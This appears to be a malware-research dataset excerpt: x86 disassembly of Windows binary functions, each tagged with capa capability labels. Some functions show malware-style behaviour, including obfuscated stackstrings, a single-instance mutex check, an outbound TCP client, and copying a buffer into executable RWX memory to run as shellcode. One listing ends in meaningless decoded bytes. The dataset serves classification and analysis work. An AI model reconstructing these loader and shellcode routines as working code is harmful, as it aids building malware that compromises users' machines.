joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4437bc
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x4437d6
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x4437ed
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x443845
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.00433433
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x443845
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x443845
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x443845
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x44383f
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x443841
xor bl, bl
mov al, bl
jmp 0x443847
xor al, al
pop esi
pop ebx
leave
ret
Function at 0x444800
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov edx, dword [ebp + 8]
mov ecx, edx
push ebx
mov ebx, dword [ebp + 0xc]
mov eax, edx
sar ecx, 6
and eax, 0x3f
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x51c968]
mov dword [ebp - 0x18], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x444842
cmp byte [ebx], 0xa
jne 0x444842
or byte [edi + eax + 0x28], 4
jmp 0x444847
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x44494a
mov cl, byte [eax]
cmp cl, 0x1a
je 0x444925
lea ebx, [eax + 1]
mov dword [ebp - 8], ebx
mov ebx, dword [ebp + 0xc]
cmp cl, 0xd
je 0x444876
mov eax, dword [ebp - 8]
jmp 0x444896
mov edx, dword [ebp - 0x10]
cmp dword [ebp - 8], edx
mov edx, dword [ebp + 8]
jae 0x4448b2
mov ebx, dword [ebp - 8]
cmp byte [ebx], 0xa
jne 0x444890
add eax, 2
mov cl, 0xa
jmp 0x444893
mov eax, dword [ebp - 8]
mov ebx, dword [ebp + 0xc]
mov byte [esi], cl
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], esi
mov esi, dword [ebp - 0xc]
add esi, dword [ebp - 8]
cmp eax, dword [ebp - 0x10]
jb 0x444858
jmp 0x44494a
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x444920
cmp dword [ebp - 0x10], 0
je 0x444920
mov edx, dword [ebp - 0x18]
mov eax, dword [edx*4 + 0x51c968]
test byte [eax + edi + 0x28], 0x48
je 0x4448ff
mov cl, byte [ebp - 1]
cmp cl, 0xa
jne 0x4448ef
mov byte [esi], 0xa
jmp 0x444949
mov byte [esi], 0xd
mov eax, dword [edx*4 + 0x51c968]
mov byte [eax + edi + 0x2a], cl
jmp 0x444949
cmp byte [ebp - 1], 0xa
jne 0x444909
cmp esi, ebx
je 0x4448ea
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00444652
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x44494a
mov byte [esi], 0xd
jmp 0x444949
mov eax, edx
and edx, 0x3f
sar eax, 6
imul edx, edx, 0x38
mov edi, dword [eax*4 + 0x51c968]
mov al, byte [edi + edx + 0x28]
test al, 0x40
jne 0x444947
or al, 2
mov byte [edi + edx + 0x28], al
jmp 0x44494a
mov byte [esi], cl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x444953
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
and eax, 0x3f
push ebx
mov ebx, dword [ebp + 0xc]
sar edx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [edx*4 + 0x51c968]
mov dword [ebp - 8], edx
mov edx, dword [eax + edi + 0x18]
mov dword [ebp - 0x18], edx
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x444997
push 0xa
pop esi
cmp word [ebx], si
jne 0x444997
or byte [eax + edi + 0x28], 4
jmp 0x44499c
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + edx*2]
mov eax, ebx
mov dword [ebp - 0x10], edx
mov esi, ebx
cmp ebx, edx
jae 0x444b07
movzx edx, word [eax]
mov ecx, edx
mov dword [ebp - 0xc], ecx
movzx ecx, cx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
cmp edx, 0x1a
je 0x444adf
lea ebx, [eax + 2]
mov dword [ebp - 4], ebx
push 0xd
pop ebx
cmp dx, bx
mov ebx, dword [ebp + 0xc]
je 0x4449e9
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, dword [ebp - 4]
movzx ebx, bx
mov dword [ebp - 4], ebx
jmp 0x444a13
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jae 0x444a32
push 0xa
pop ebx
cmp word [edx], bx
jne 0x444a00
push ebx
add eax, 4
pop edx
jmp 0x444a08
mov eax, edx
mov edx, dword [ebp - 0xc]
movzx edx, dx
movzx edx, dx
mov dword [ebp - 4], edx
mov edx, esi
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], 2
mov word [esi], cx
mov esi, dword [ebp - 0xc]
add esi, edx
cmp eax, dword [ebp - 0x10]
jb 0x4449ae
jmp 0x444b07
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x444ada
cmp dword [ebp - 0x14], 0
je 0x444ada
mov eax, dword [ebp - 8]
push 0xa
mov eax, dword [eax*4 + 0x51c968]
test byte [eax + edi + 0x28], 0x48
pop eax
je 0x444ab6
mov dx, word [ebp - 4]
cmp dx, ax
jne 0x444a7e
mov word [esi], ax
jmp 0x444b04
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebp - 8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov eax, dword [eax*4 + 0x51c968]
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x51c968]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x51c968]
pop ecx
mov byte [eax + edi + 0x2c], cl
jmp 0x444b04
cmp word [ebp - 4], ax
jne 0x444ac0
cmp esi, ebx
je 0x444a76
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00444652
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x444b07
push 0xd
pop eax
jmp 0x444a76
mov eax, ecx
and ecx, 0x3f
sar eax, 6
imul ecx, ecx, 0x38
mov edi, dword [eax*4 + 0x51c968]
mov al, byte [edi + ecx + 0x28]
test al, 0x40
jne 0x444b01
or al, 2
mov byte [edi + ecx + 0x28], al
jmp 0x444b07
mov word [esi], dx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x44a1a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44a1cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44a1cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4010e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1ac
push ebx
push esi
mov esi, ecx
mov al, 0x53
mov byte [esp + 9], al
mov byte [esp + 0xb], al
mov dword [esi], 0x4020c0
mov ecx, dword [0x4034f8]
lea eax, [esp + 8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
push eax
push ecx
mov byte [esp + 0x14], 0x57
mov byte [esp + 0x16], 0x41
mov byte [esp + 0x18], 0x74
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], bl
call edi
lea edx, [esp + 0x28]
push edx
push 0x202
call eax
mov ecx, dword [0x4034f4]
mov al, 0x65
mov byte [esp + 0x1a], al
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
lea eax, [esp + 0x18]
push eax
push ecx
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], 0x72
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x74
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x29], 0x6e
mov byte [esp + 0x2a], 0x74
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], bl
call edi
push ebx
push ebx
push 1
push ebx
call eax
mov dword [esi + 0xc], eax
mov ecx, 0x13718
xor eax, eax
lea edi, [esi + 0x10]
mov dword [esi + 8], 0xffffffff
mov dword [esi + 0x4dc74], ebx
mov dword [esi + 4], ebx
rep stosd dword es:[edi], eax
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x1ac
ret

Function at 0x401220
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov eax, dword [0x40314c]
sub esp, 0x64
push esi
push edi
mov edi, ecx
push eax
push str.VERTGFWPKMNBGTUYQ451HIP
lea ecx, [esp + 0x10]
push str._s:_d
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40127d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40127d
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [0x40314c]
mov ecx, edi
push eax
push str.VERTGFWPKMNBGTUYQ451HIP
call fcn.004012a0
pop edi
pop esi
add esp, 0x64
ret
Function at 0x4012a0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Create thread
Resolve dns

Disassembly:
sub esp, 0x10
push esi
push 6
push 1
mov esi, ecx
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [esi + 8], eax
jne 0x4012c3
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
mov ebx, dword [esp + 0x20]
push ebp
mov ebp, dword [esp + 0x20]
push edi
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
push ebx
mov edi, eax
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 0x12], ax
mov eax, dword [edi + 0xc]
push 0x10
mov ecx, dword [eax]
lea eax, [esp + 0x14]
push eax
mov edx, dword [ecx]
mov ecx, dword [esi + 8]
push ecx
mov dword [esp + 0x20], edx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401326
mov edx, dword [esi + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esi + 0xc]
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x4012ce
push 0
push 0
push esi
push 0x401350
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop ebp
pop ebx
mov eax, 1
pop esi
add esp, 0x10
ret 8

Function at 0x401480
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push 0x40
push 0x3000
push 0x4dc60
mov esi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
push 0x4dc60
push ebx
push str.nSize_s_pThis__len_d_r_n
call dword [sym.imp.MSVCRT.dll_printf]
add esp, 0xc
test ebx, ebx
jne 0x4014b7
pop esi
xor eax, eax
pop ebx
ret
push edi
push 0
push 0
push ebx
mov ecx, 0x13718
add esi, 0x4dc78
mov edi, ebx
push ebx
push 0
push 0
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
mov eax, 1
pop ebx
ret
Function at 0x401670
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4020c8
push 0x4017ae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x403514], 0xffffffff
or dword [0x403518], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x40350c]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x403508]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x403510], eax
call fcn.004017ad
cmp dword [0x4034f0], 0
jne 0x4016f3
push 0x4017aa
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.00401798
push 0x40301c
push 0x403018
call sub.MSVCRT.dll__initterm
mov eax, dword [0x403504]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x403500]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x403014
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.00401510
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x1104fc0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa4a000]
add word [edi + 0xd0687c], 0xd
push edi
or ebp, 0xffffffff
jmp 0x1104fea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1104ff1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1104fe0
mov eax, 1
add ebx, ebx
jne 0x1105003
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1105014
jne 0x1105033
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1105033
dec eax
add ebx, ebx
jne 0x1105020
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1104ff8
add ebx, ebx
jne 0x110502f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1105085
xor ecx, ecx
sub eax, 3
jb 0x110504b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x11050ba
sar eax, 1
mov ebp, eax
jmp 0x1105056
add ebx, ebx
jne 0x1105056
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1105024
inc ecx
add ebx, ebx
jne 0x1105064
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1105024
add ebx, ebx
jne 0x1105071
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1105066
jne 0x1105082
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1105066
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x11050a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1105096
jmp 0x1104fe6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x11050a4
add edi, ecx
jmp 0x1104fe6
pop esi
mov edi, esi
mov ecx, 0x55b07
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x11050c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x11050c7
lea edi, [esi + 0xd01000]
mov eax, dword [edi]
or eax, eax
je 0x1105138
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xd06d5c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xd06e88]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x11050ed
mov ecx, edi
jns 0x110511c
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xd06e8c]
or eax, eax
je 0x1105132
mov dword [ebx], eax
add ebx, 4
jmp 0x110510a
call dword [esi + 0xd06e9c]
mov ebp, dword [esi + 0xd06e90]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x110516c
sub esp, 0xffffff80
jmp 0xc5c565
Function at 0x4092db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41d410]
jne 0x4092e5
repz ret
jmp fcn.0040fac4

Function at 0x40c0ec
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41d410]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406a29
and dword [ebp - 0x14], 0
cmp dword [0x43da9c], 0
mov dword [ebp - 0x18], eax
jne 0x40c19f
push 0x402398
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40c247
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40238c
push ebx
call edi
test eax, eax
je 0x40c247
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x40237c
push ebx
mov dword [0x43da9c], eax
call edi
push eax
call esi
push 0x402368
push ebx
mov dword [0x43daa0], eax
call edi
push eax
call esi
push 0x40234c
push ebx
mov dword [0x43daa4], eax
call edi
push eax
call esi
mov dword [0x43daac], eax
test eax, eax
je 0x40c19f
push 0x402334
push ebx
call edi
push eax
call esi
mov dword [0x43daa8], eax
mov eax, dword [0x43daa8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40c1f8
cmp dword [0x43daac], ecx
je 0x40c1f8
push eax
call esi
push dword [0x43daac]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40c1f8
test ebx, ebx
je 0x40c1f8
call edi
test eax, eax
je 0x40c1ef
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40c1ef
test byte [ebp - 8], 1
jne 0x40c1f8
or dword [ebp + 0x10], 0x200000
jmp 0x40c22b
mov eax, dword [0x43daa0]
cmp eax, dword [ebp - 0x18]
je 0x40c22b
push eax
call esi
test eax, eax
je 0x40c22b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40c22b
mov eax, dword [0x43daa4]
cmp eax, dword [ebp - 0x18]
je 0x40c22b
push eax
call esi
test eax, eax
je 0x40c22b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43da9c]
call esi
test eax, eax
je 0x40c247
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40c249
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004092db
leave
ret

Function at 0x41b1a0
Capabilities:
Delete file
Get uefi variable

Disassembly:
sub esp, 0x800
cmp dword [0x2b67604], 0x37
jne 0x41b210
push 0x4035c8
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4035f8
push 0x403648
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push 0
lea eax, [esp + 4]
push eax
push 0x40367c
push 0x4036a4
call dword [sym.imp.KERNEL32.dll_GetFirmwareEnvironmentVariableA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
push 0
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esp + 0x404]
push ecx
push 0x4036c8
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
mov edx, dword [0x2b67a18]
mov ecx, dword [0x2b670e8]
mov al, byte [edx + esi + 0x38d6]
mov byte [ecx + esi], al
add esp, 0x800
ret
Function at 0x4060e8
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
push 0
push 0
push 0
cld
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
sub eax, 3
mov edx, dword [ecx]
imul eax, edx
cmp al, 0x7c
je 0x40613b
lea eax, [esp + 4]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
cmp eax, dword [edx + ebp]
je 0x40617b
mov eax, 0x406136
lea eax, [edx + eax]
push ebp
push eax
push 0
call sub.KERNEL32.dll_EnumResourceTypesA
test eax, eax
jne 0x406154
jmp 0x40617b
retf
cmc
nop
mov eax, esp
lea eax, [eax + 8]
mov ecx, eax
or eax, dword [ecx]
and eax, dword [ecx]
cld
or eax, 7
xchg dword [esp + 0xc], edx
lea eax, es:[eax + 0x789690]
nop
xchg esi, eax
js 0x406158
add eax, 0xff87c9b8
add dword es:[edx - 0x1b4], eax
mov ecx, dword [esp]
sub esp, 0xffffffec
sub eax, eax
push cs
pop dx
push dx
push ecx
jmp 0x406139
add byte [eax], al
add byte [eax], al
sti
add al, 0
inc ebx
mov cl, 0xe3
xchg edx, eax
add byte [edi + 4], bl
add byte [eax], ah
mov edx, dword [eax + 0x64dcde00]
add ah, dl
add dh, bl
fsub qword [eax + eax - 0x2c]
add byte [esi + 0xf43bcd], cl
ja 0x40618e
add byte [eax + eax + 0x49438dba], dl
xchg ebp, eax
cld
pop eax
lahf
test al, 0x67
pop ebp
inc esi
add byte [ebx + ebp], bl
xchg ebp, eax
lodsb al, byte [esi]
daa
add byte [esi - 0x53a0c23d], bh
inc ebp
xchg edx, eax
add byte [edi + 0xf4acdf], ah
sbb byte [eax + 0x313c00f6], bh
add byte [eax], bl
mov eax, 0x313c00f6
out 0, al
pushal
add byte [ebx - 0x3270e349], cl
mov eax, ebx
and al, byte [eax]
mov eax, dword [edx + 0x32e300]
popal
pop ecx
sub al, 0x43
test eax, 0xd30d5b1e
add dword [eax], edx
add byte [ebx], dl
xchg edx, eax
add byte [ebx], al
mov al, 0
mov dword [0xecb97803], eax
jno 0x4061bf
xor byte [eax], al
dec esi
neg dword [esi - 0x7d]
sub eax, 0x9400d6
call 0x8a4128d5
enter 0x2ac7, 0x43
lock add byte [edx], dh
mov dword [edx + 0x23], ebx
loop 0x40620f
add byte [ecx + 0x790070f8], ch
test eax, 0x790070f8
or byte [edx + 0x52], bl
add byte [ebx + 0x344e655f], bh
add byte [edi + ebx*2 - 0x4142f7b1], bl
sbb ebp, dword [0xa9bbce1e]
jns 0x40624a
or eax, 0xa1b14c49
jb 0x406233
jg 0x40620e
mov bh, 0xef
sahf
movsd dword es:[edi], dword [esi]
xchg ecx, eax
cmp byte [edx + 0x180054ec], ch
add dl, ah
add byte [ebp + 0x3c], cl
dec eax
invalid
add byte [esi], ah
add byte [eax + eax - 0x48], al
mov dl, 0
add esi, dword [edi]
aad 0xe3
mov cl, 0xe3
fidivr dword [ebx - 0x7aff1925]
daa
bound eax, qword [eax]
mov eax, dword [ebp - 7]
or dh, byte [esi]
call dword [eax]
add cl, bl
xor byte [eax], al
daa
rol byte [eax], cl
out 0xf4, eax
add byte [ecx + 0x300a8d], bh
add dword [ebx], eax
rol byte [eax], 1
push es
add byte [eax + eax - 0x114aff2a], dh
xor dword [edi], 0x1c670d8d
xchg esi, eax
add byte [0xa0f84baf], ah
add byte [0x9600e24e], bh
add byte [ebx + 0x7e003099], ch
inc ebx
out 0x2a, eax
pushfd
jns 0x406302
cwde
lea ebx, [0xdd9b057e]
das
retf 0xae03
sub al, 0x4c
mov esp, 0x3658ce
movsb byte es:[edi], byte [esi]
add byte [esi], ah
xchg byte [eax], al
push eax
add byte [ecx], dl
imul dword [eax - 0x29]
mov ah, 0
imul edi, edx, 0xf3f747f7
sti
invalid
Function at 0x402b4c
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404b38
test esi, esi
jne 0x402b82
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404c28
jmp 0x402ba0
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402a60
mov edi, eax
test esi, esi
je 0x402ba0
cmp dword [ebx], 0
je 0x402ba0
dec esi
jmp 0x402b89
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403314
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x665008], 0x8088405
inc edx
mov dword [ebx + 0x665008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x403ab8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x665010]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403b50
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403b30
xor eax, eax
push ebp
push 0x403b29
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403b6c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403b30
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x665010]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x665010], ax
mov esp, ebp
pop ebp
ret

Function at 0x404918
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x66b04c], 0
je 0x404979
cmp word [0x66b220], 0xd7b2
jne 0x404941
cmp dword [0x66b228], 0
jbe 0x404941
mov eax, 0x66b21c
call dword [0x66b238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x665078
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4049a0
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x665020], 0
jne 0x404995
push 0
push 0x665098
push 0x665078
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404aec
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402818
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x66b04d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404ab4
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc